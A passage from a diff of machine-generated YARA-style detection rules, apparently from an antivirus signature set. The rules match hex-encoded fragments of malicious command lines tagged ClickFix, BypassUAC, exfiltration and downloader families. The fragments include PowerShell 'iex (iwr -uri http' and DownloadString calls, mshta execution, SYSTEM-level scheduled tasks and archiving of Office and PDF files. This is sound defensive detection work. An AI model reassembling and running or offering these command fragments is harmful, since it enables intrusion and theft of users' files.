00 6e 00 67 00 5d 00 3a 00 3a 00 75 00 74 00 66 00 38 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 90 00 01 00 18 00 6f 00 70 00 65 00 6e 00 28 00 27 00 47 00 45 00 54 00 27 00 2c 00 24 00 01 00 10 00 } //46 + $a_00_4 = {73 00 65 00 42 00 6f 00 64 00 79 00 01 00 06 00 69 00 65 00 78 00 00 00 d7 c1 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 69 64 64 65 6e 41 63 65 73 73 43 6f 6d 6d 61 6e 64 6c 69 6e 65 2e 41 41 00 01 00 04 00 2f 00 63 00 01 00 34 00 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d } //111 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_2 & 1)*101+(#a_00_3 & 1)*46+(#a_00_4 & 1)*111) >=131 + +} +rule _InfrastructureShared_27958{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 4f 21 4d 54 42 00 01 00 57 02 2e 00 73 00 65 00 6e 00 64 00 28 00 29 00 3b 00 90 02 10 5b 00 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 } //21283 + $a_00_2 = {3a 00 75 00 74 00 66 00 38 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 90 00 01 00 18 00 6f 00 70 00 65 00 6e 00 28 00 27 00 47 00 45 00 54 00 } //93 + $a_00_3 = {24 00 01 00 10 00 6f 00 6e 00 73 00 65 00 42 00 6f 00 64 00 79 00 01 00 06 00 69 00 65 00 78 00 00 00 d7 c1 00 00 04 00 04 00 04 00 } //39 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*93+(#a_00_3 & 1)*39) >=4 + +} +rule _InfrastructureShared_27959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -344863,19 +365478,32 @@ rule _InfrastructureShared_26367{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*109+(#a_00_2 & 1)*101) >=4 } -rule _InfrastructureShared_26368{ +rule _InfrastructureShared_27960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 47 21 4d 54 42 00 01 00 12 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 28 00 23 00 20 } //21283 - $a_00_2 = {6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 3a 00 01 00 28 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 44 00 4e 00 53 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 12 00 72 00 65 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 00 00 d7 c1 00 00 0b 00 0b 00 03 00 21 23 54 45 4c 3a 54 72 } //99 - $a_6e_3 = {57 69 6e 33 32 2f 45 78 65 73 65 6c 72 75 6e 2e 41 00 0a 00 3e 00 77 00 6d 00 69 00 63 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 67 00 65 00 74 00 20 00 62 00 72 00 69 00 65 00 66 00 20 00 2f 00 66 00 6f 00 72 00 6d 00 61 00 74 00 3a 00 0a 00 46 00 77 00 6d 00 69 00 63 00 2e } //27247 + $a_00_2 = {6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 3a 00 01 00 28 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 44 00 4e 00 53 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 12 00 72 00 65 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 00 00 d7 c1 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 54 72 } //99 + $a_6e_3 = {57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 43 21 4d 54 42 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 22 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 41 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 01 00 24 00 64 00 65 00 63 00 6f 00 64 00 65 00 55 00 52 00 49 00 43 } //27247 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_6e_3 & 1)*27247) >=5 } -rule _InfrastructureShared_26369{ +rule _InfrastructureShared_27961{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 43 21 4d 54 42 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 22 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 41 00 70 00 70 00 6c 00 69 00 } //21539 + $a_00_1 = {74 00 69 00 6f 00 6e 00 01 00 24 00 64 00 65 00 63 00 6f 00 64 00 65 00 55 00 52 00 49 00 43 00 6f 00 6d 00 70 00 6f 00 6e 00 65 00 6e 00 74 00 01 00 0c 00 2e 00 64 00 68 00 74 00 6d 00 6c 00 01 00 18 00 53 00 68 00 65 00 6c 00 6c 00 45 00 78 00 65 00 63 00 75 00 74 00 65 00 01 00 0a 00 2e } //99 + $a_00_3 = {00 00 d7 c1 00 00 0b 00 0b 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 78 65 73 65 6c 72 75 6e 2e 41 00 0a 00 3e 00 77 00 6d 00 69 00 63 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 67 00 65 00 74 00 20 00 62 00 72 00 69 00 65 00 66 00 20 00 2f 00 66 00 6f 00 72 00 6d 00 61 00 74 00 3a 00 0a 00 46 } //111 + $a_00_5 = {2e 00 65 00 78 00 65 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 67 00 65 00 74 00 20 00 62 00 72 00 69 00 65 00 66 00 20 00 2f 00 66 00 6f 00 72 00 6d 00 61 00 74 00 3a 00 01 00 0a 00 2e 00 78 00 73 00 6c 00 22 00 00 00 d7 c1 00 00 28 00 28 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //105 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*99+(#a_00_3 & 1)*111+(#a_00_5 & 1)*105) >=6 + +} +rule _InfrastructureShared_27962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -344887,20 +365515,36 @@ rule _InfrastructureShared_26369{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_00_2 & 1)*108) >=11 } -rule _InfrastructureShared_26370{ +rule _InfrastructureShared_27963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 73 68 74 61 55 72 73 6e 69 66 2e 41 00 0a 00 3c 00 41 00 63 00 74 00 69 00 76 00 65 00 58 00 4f 00 62 00 6a 00 65 00 63 00 74 00 28 00 27 00 57 00 53 00 63 00 72 00 } //21539 $a_00_1 = {74 00 2e 00 53 00 68 00 65 00 6c 00 6c 00 27 00 29 00 0a 00 26 00 52 00 75 00 6e 00 28 00 27 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 69 00 65 00 78 00 0a 00 1e 00 41 00 53 00 43 00 49 00 49 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 0a 00 08 00 20 00 67 00 70 00 20 00 00 00 d7 c1 00 00 } //105 - $a_00_2 = {05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4b 6e 61 66 65 68 2e 41 21 64 68 61 00 64 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 0a 00 20 00 69 00 77 00 72 00 20 00 0a 00 1a 00 20 00 2d 00 55 00 72 00 69 00 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 0a 00 1a 00 3a 00 38 00 30 00 30 00 30 00 2f 00 65 00 68 00 } //140 - $a_00_3 = {73 00 69 00 20 00 0a 00 21 02 20 00 2d 00 4f 00 75 00 74 00 46 00 69 00 6c 00 65 00 20 00 90 02 10 2e 00 6d 00 73 00 69 00 90 00 00 00 d7 c2 00 00 03 00 03 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 69 6f 6e 56 69 61 4c 6f 61 64 4c 69 62 72 61 72 79 2e 42 00 03 00 89 02 5c 00 69 00 6e } //46 + $a_00_2 = {08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 66 69 6c 74 72 61 74 69 6f 6e 2e 53 41 00 64 00 0f 02 63 00 6d 00 64 00 90 02 30 2f 00 63 00 90 00 0a 00 19 02 37 00 7a 00 61 00 2e 00 65 00 78 00 65 00 90 02 30 20 00 61 00 20 00 90 00 0a 00 16 00 64 00 6f 00 20 00 66 00 6f 00 72 00 66 00 69 00 6c 00 65 00 73 00 01 00 0a 00 2e 00 } //121 + $a_00_3 = {63 00 2c 00 01 00 0c 00 2e 00 64 00 6f 00 63 00 78 00 2c 00 01 00 0a 00 2e 00 78 00 6c 00 73 00 2c 00 01 00 0c 00 2e 00 78 00 6c 00 73 00 78 00 2c 00 01 00 08 00 2e 00 70 00 64 00 66 00 00 00 d7 c1 00 00 8c 00 8c 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4b 6e 61 66 65 68 2e 41 } //100 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*105+(#a_00_2 & 1)*140+(#a_00_3 & 1)*46) >=40 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*105+(#a_00_2 & 1)*121+(#a_00_3 & 1)*100) >=40 } -rule _InfrastructureShared_26371{ +rule _InfrastructureShared_27964{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 66 69 6c 74 72 61 74 69 6f 6e 2e 53 41 00 64 00 0f 02 63 00 6d 00 64 00 90 02 30 2f 00 63 00 90 00 0a 00 19 02 37 00 7a 00 61 00 2e 00 65 00 78 00 65 00 90 02 30 20 00 61 } //21283 + $a_00_2 = {64 00 6f 00 20 00 66 00 6f 00 72 00 66 00 69 00 6c 00 65 00 73 00 } //10 do forfiles + $a_00_3 = {2e 00 64 00 6f 00 63 00 2c 00 } //1 .doc, + $a_00_4 = {2e 00 64 00 6f 00 63 00 78 00 2c 00 } //1 .docx, + $a_00_5 = {2e 00 78 00 6c 00 73 00 2c 00 } //1 .xls, + $a_00_6 = {2e 00 78 00 6c 00 73 00 78 00 2c 00 } //1 .xlsx, + $a_00_7 = {2e 00 70 00 64 00 66 00 } //1 .pdf + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1) >=121 + +} +rule _InfrastructureShared_27965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff8c 00 ffffff8c 00 05 00 21 " @@ -344912,7 +365556,7 @@ rule _InfrastructureShared_26371{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*105+(#a_6a_3 & 1)*29268) >=140 } -rule _InfrastructureShared_26372{ +rule _InfrastructureShared_27966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 21 " @@ -344922,20 +365566,47 @@ rule _InfrastructureShared_26372{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_26373{ +rule _InfrastructureShared_27967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 63 67 6f 6c 73 68 2e 53 43 41 00 01 00 0f 02 63 00 6d 00 64 00 90 02 10 2f 00 63 00 90 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 1c 00 65 00 78 } //21283 - $a_00_2 = {2d 00 61 00 72 00 63 00 68 00 69 00 76 00 65 00 01 00 18 00 2d 00 6c 00 69 00 74 00 65 00 72 00 61 00 6c 00 70 00 61 00 74 00 68 00 01 00 20 00 2d 00 64 00 65 00 73 00 74 00 69 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 01 00 0c 00 70 00 79 00 74 00 68 00 6f 00 6e 00 00 00 d7 c4 } //110 - $a_00_3 = {01 } //0 - $a_3a_5 = {61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 41 6e 6b 68 47 75 69 64 2e 42 21 64 68 61 00 01 00 48 00 30 00 65 00 35 00 64 00 33 00 66 00 62 00 33 00 2d 00 32 00 38 00 33 00 66 00 2d 00 34 00 35 00 65 00 30 00 2d } //19539 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 42 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 12 00 2d 00 77 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 } //21283 + $a_00_1 = {29 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 24 00 } //1 )::Create($ + $a_00_2 = {2e 00 74 00 78 00 74 00 } //1 .txt + $a_00_3 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + $a_00_4 = {44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 DownloadString($ + $a_c2_5 = {00 1f 00 1f 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 4b 21 4d 54 42 00 0a 00 1a 00 2e 00 48 00 65 00 61 00 64 00 65 00 72 00 73 00 2e 00 41 00 64 00 64 00 28 00 0a 00 14 00 55 00 73 00 65 00 72 00 2d 00 41 00 67 00 65 00 6e 00 74 00 0a 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 20 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 01 00 1c 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 28 00 00 00 d7 c3 00 00 0f 00 0f 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a } //0 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_3 & 1)*0+(#a_3a_5 & 1)*19539) >=6 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_c2_5 & 1)*0) >=6 } -rule _InfrastructureShared_26374{ +rule _InfrastructureShared_27968{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 4b 21 4d 54 42 00 0a 00 1a 00 2e 00 48 00 65 00 61 00 64 00 65 00 72 00 73 00 2e 00 41 00 64 00 64 00 28 00 0a 00 14 00 55 00 73 00 65 00 72 00 2d 00 41 00 67 00 } //21283 + $a_00_1 = {74 00 0a 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 20 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 01 00 1c 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 28 00 00 00 d7 c3 00 00 0f 00 0f 00 } //101 + $a_23_2 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 55 41 43 2e 52 58 48 21 4d 54 42 } //4 LF:Trojan:Win32/BypassUAC.RXH!MTB + $a_00_4 = {68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 02 00 0e 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 02 00 16 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 01 00 4a 00 2f 00 53 00 43 00 20 00 4f 00 4e 00 53 00 54 00 41 00 52 00 54 00 20 00 2f 00 52 00 4c 00 20 } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_23_2 & 1)*4+(#a_00_4 & 1)*115) >=31 + +} +rule _InfrastructureShared_27969{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 55 41 43 2e 52 58 48 21 4d 54 42 00 0a 00 18 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 02 00 0e 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 } //21283 + $a_00_2 = {63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 01 00 4a 00 2f 00 53 00 43 00 20 00 4f 00 4e 00 53 00 54 00 41 00 52 00 54 00 20 00 2f 00 52 00 4c 00 20 00 48 00 49 00 47 00 48 00 45 00 53 00 54 00 20 00 2f 00 52 00 55 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 20 00 2f 00 46 00 00 00 d7 c4 00 00 01 00 01 00 02 00 21 23 53 4c 46 3a 48 } //119 + $a_54_3 = {6f 6c 3a 57 69 6e 33 32 2f 41 6e 6b 68 47 75 69 64 2e 42 21 64 68 61 00 01 00 48 00 30 00 65 00 35 00 64 00 33 00 66 00 62 00 33 00 2d 00 32 00 38 00 33 00 66 00 2d 00 34 00 35 00 65 00 30 00 2d 00 61 00 30 00 38 00 39 00 2d 00 65 00 39 00 61 00 62 00 31 00 62 00 36 00 63 00 63 00 38 00 32 00 63 00 01 00 48 00 32 00 30 } //25441 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*119+(#a_54_3 & 1)*25441) >=15 + +} +rule _InfrastructureShared_27970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -344946,33 +365617,82 @@ rule _InfrastructureShared_26374{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*56) >=1 } -rule _InfrastructureShared_26375{ +rule _InfrastructureShared_27971{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 54 21 4d 54 42 00 01 00 42 02 69 00 65 00 78 00 20 00 28 00 69 00 77 00 72 00 90 02 0a 2d 00 75 00 72 00 69 00 90 02 02 68 00 74 00 74 00 70 00 90 02 0a 2e } //21283 + $a_06_1 = {2e 00 } //-28672 . + condition: + ((#a_46_0 & 1)*21283+(#a_06_1 & 1)*-28672) >=1 + +} +rule _InfrastructureShared_27972{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 54 21 4d 54 42 00 01 00 3a 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 3b 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 } //21283 + $a_00_1 = {73 00 69 00 6f 00 6e 00 20 00 24 00 01 00 2c 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 55 00 72 00 69 00 01 00 08 00 2e 00 74 00 78 00 74 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 00 00 d7 c5 00 00 04 00 04 00 04 00 } //101 + $a_4c_2 = {3a 57 69 6e 33 32 2f 50 53 53 75 73 70 57 73 71 6d 2e 41 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 20 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 } //8993 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_4c_2 & 1)*8993) >=4 + +} +rule _InfrastructureShared_27973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 50 53 53 75 73 70 57 73 71 6d 2e 41 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 20 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 } //21283 - $a_00_2 = {67 00 01 00 10 00 77 00 73 00 71 00 6d 00 63 00 6f 00 6e 00 73 00 01 00 48 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 73 00 71 00 6d 00 63 00 6c 00 69 00 65 00 6e 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 00 00 d7 c5 00 00 28 00 28 00 06 00 } //105 - $a_45_3 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6c 61 62 75 64 2e 47 00 f6 ff 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 f6 ff 10 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 0a 00 30 00 5b 00 62 00 } //8993 + $a_00_2 = {67 00 01 00 10 00 77 00 73 00 71 00 6d 00 63 00 6f 00 6e 00 73 00 01 00 48 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 73 00 71 00 6d 00 63 00 6c 00 69 00 65 00 6e 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 00 00 d7 c5 00 00 05 00 05 00 05 00 } //105 + $a_45_3 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 44 21 4d 54 42 00 01 00 14 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 01 00 10 00 27 00 68 00 27 00 2b 00 27 00 74 00 74 00 70 00 01 00 08 00 2e 00 64 00 6f 00 } //8993 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*105+(#a_45_3 & 1)*8993) >=4 } -rule _InfrastructureShared_26376{ +rule _InfrastructureShared_27974{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 44 21 4d 54 42 00 01 00 14 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 01 00 10 00 27 00 68 00 27 00 2b 00 27 00 74 00 } //21539 + $a_00_1 = {01 00 08 00 2e 00 64 00 6f 00 63 00 01 00 2c 00 69 00 72 00 6d 00 20 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 20 00 24 00 01 00 2e 00 5b 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 24 00 00 00 } //116 + $a_00_3 = {06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6c 61 62 75 64 2e 47 00 f6 ff 1c 00 70 00 6f 00 77 } //40 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*116+(#a_00_3 & 1)*40) >=5 + +} +rule _InfrastructureShared_27975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 06 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6c 61 62 75 64 2e 47 00 f6 ff 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 f6 ff 10 00 70 00 77 00 73 00 68 00 2e 00 } //21539 - $a_00_1 = {65 00 0a 00 30 00 5b 00 62 00 79 00 74 00 65 00 5d 00 5b 00 63 00 68 00 61 00 72 00 5d 00 5b 00 69 00 6e 00 74 00 5d 00 3a 00 3a 00 70 00 61 00 72 00 73 00 65 00 0a 00 12 00 48 00 65 00 78 00 4e 00 75 00 6d 00 62 00 65 00 72 00 0a 00 0c 00 2d 00 62 00 78 00 6f 00 72 00 20 00 0a 00 0e 00 47 00 41 00 4c 00 20 00 49 00 2a 00 58 00 00 00 d7 c6 00 00 0c 00 0c 00 } //101 - $a_23_2 = {4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 73 74 61 72 6f 74 } //4 LF:TrojanDownloader:Win32/Astarot - $a_46_3 = {0a 00 0a 00 63 00 75 00 72 00 6c 00 20 00 01 00 1e 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 62 00 69 00 74 00 73 00 2f 00 01 00 2f 02 61 00 63 00 63 00 65 00 70 00 74 00 2d 00 6c 00 61 00 6e 00 67 00 75 } //11880 - $a_00_5 = {90 02 04 70 00 74 00 2d 00 42 00 52 00 90 00 01 00 2e 02 2f 00 3f 00 90 02 40 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 90 02 ff 2e 00 65 } //101 + $a_00_1 = {65 00 0a 00 30 00 5b 00 62 00 79 00 74 00 65 00 5d 00 5b 00 63 00 68 00 61 00 72 00 5d 00 5b 00 69 00 6e 00 74 00 5d 00 3a 00 3a 00 70 00 61 00 72 00 73 00 65 00 0a 00 12 00 48 00 65 00 78 00 4e 00 75 00 6d 00 62 00 65 00 72 00 0a 00 0c 00 2d 00 62 00 78 00 6f 00 72 00 20 00 0a 00 0e 00 47 00 41 00 4c 00 20 00 49 00 2a 00 58 00 00 00 d7 c5 00 00 65 00 65 00 } //101 + $a_23_2 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 4a 00 01 00 14 00 70 } //7 + $a_00_4 = {73 00 68 00 65 00 6c 00 6c 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 0e 00 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 64 00 08 00 68 00 74 00 74 00 70 00 18 fc 08 00 2e 00 70 00 73 00 31 00 18 fc 3e 00 2d 00 2d 00 6b 00 69 00 6f 00 73 00 6b 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 } //101 + $a_00_5 = {6d 00 69 00 6e 00 2e 00 6b 00 62 00 2d 00 76 00 75 00 2e 00 63 00 6f 00 6d 00 00 00 d7 c6 00 00 0c 00 0c 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 